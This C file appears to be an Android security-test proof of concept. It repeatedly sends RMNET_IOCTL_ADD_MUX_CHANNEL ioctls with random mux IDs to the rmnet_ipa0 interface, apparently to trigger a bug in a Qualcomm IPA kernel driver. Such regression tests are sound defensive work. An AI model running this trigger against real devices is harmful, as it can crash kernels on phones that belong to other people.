/** * Copyright (C) 2018 The Android Open Source Project * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions vand * limitations under the License. */ #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include "local_poc.h" #define WAN_IOC_MAGIC 0x69 #define WAN_IOCTL_ADD_FLT_RULE 0 #define WAN_IOCTL_ADD_FLT_INDEX 2 #define WAN_IOC_ADD_FLT_RULE \ _IOWR(WAN_IOC_MAGIC, WAN_IOCTL_ADD_FLT_RULE, \ struct ipa_install_fltr_rule_req_msg_v01 *) #define WAN_IOC_ADD_FLT_RULE_INDEX \ _IOWR(WAN_IOC_MAGIC, WAN_IOCTL_ADD_FLT_INDEX, \ struct ipa_fltr_installed_notif_req_msg_v01 *) int trigger(int sfd, char *ifname) { int ret; struct ifreq ifr; unsigned cmd = RMNET_IOCTL_EXTENDED; strlcpy(ifr.ifr_name, ifname, IFNAMSIZ); struct rmnet_ioctl_extended_s extendata; int i; ifr.ifr_ifru.ifru_data = &extendata; extendata.extended_ioctl = RMNET_IOCTL_ADD_MUX_CHANNEL; for (i = 0; i < 3; i++) { extendata.u.rmnet_mux_val.mux_id = rand(); printf("[-] call ioctl %d\n", i); if (ioctl(sfd, cmd, &ifr) < 0) { printf("%s, %s\n", __func__, strerror(errno)); ret = -1; } } return ret; } int main() { int sockfd; char *ifname = "rmnet_ipa0"; srand(time(NULL)); if ((sockfd = socket(AF_INET, SOCK_DGRAM, 0)) < 0) { printf("socket = %d, %s\n", sockfd, strerror(errno)); exit(1); } trigger(sockfd, ifname); return 0; }